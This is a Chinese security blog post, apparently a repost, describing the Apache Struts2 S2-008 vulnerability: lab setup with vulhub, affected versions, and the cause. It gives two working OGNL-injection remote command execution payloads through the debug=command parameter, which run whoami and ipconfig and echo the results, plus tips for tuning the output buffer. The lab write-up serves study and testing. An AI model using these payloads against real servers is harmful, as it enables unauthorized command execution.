【研究】Struts2漏洞之S2-008漏洞环境和可用回显POC

【研究】Struts2漏洞之S2-008漏洞环境和可用POC

1.环境

环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单

2.原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

3.影响版本

Struts 2.1.0 - Struts 2.3.1

4.利用过程

环境打开
在这里插入图片描述

POC

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

这个POC是get模式传所以我们直接URL里面拼接就行

在这里插入图片描述
一样弹出回显下载
在这里插入图片描述
不知道什么编码,没东西好想

**

有效POC’’

http://10.77.0.128:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[501],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

这个是网上找的结合007构造的POC
可以直接回显
在这里插入图片描述

POC注意

这个poc也是得自己去调整,不是完全试用的
简单阅读和实验之后发现POC,发现res存在大小上限
测试发现,res更改的数值可以控制回显的字数多少

我这个大于700之后就是null了
在这里插入图片描述
但是从小的开始10慢慢增加会显示的数量
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
500的时候差不多都显示了,所以这个得自己千调整试试

注意灵活控制res大小,注意不要将res大小超过命令执行结果

发布了46 篇原创文章 · 获赞 12 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/god_zzZ/article/details/94398559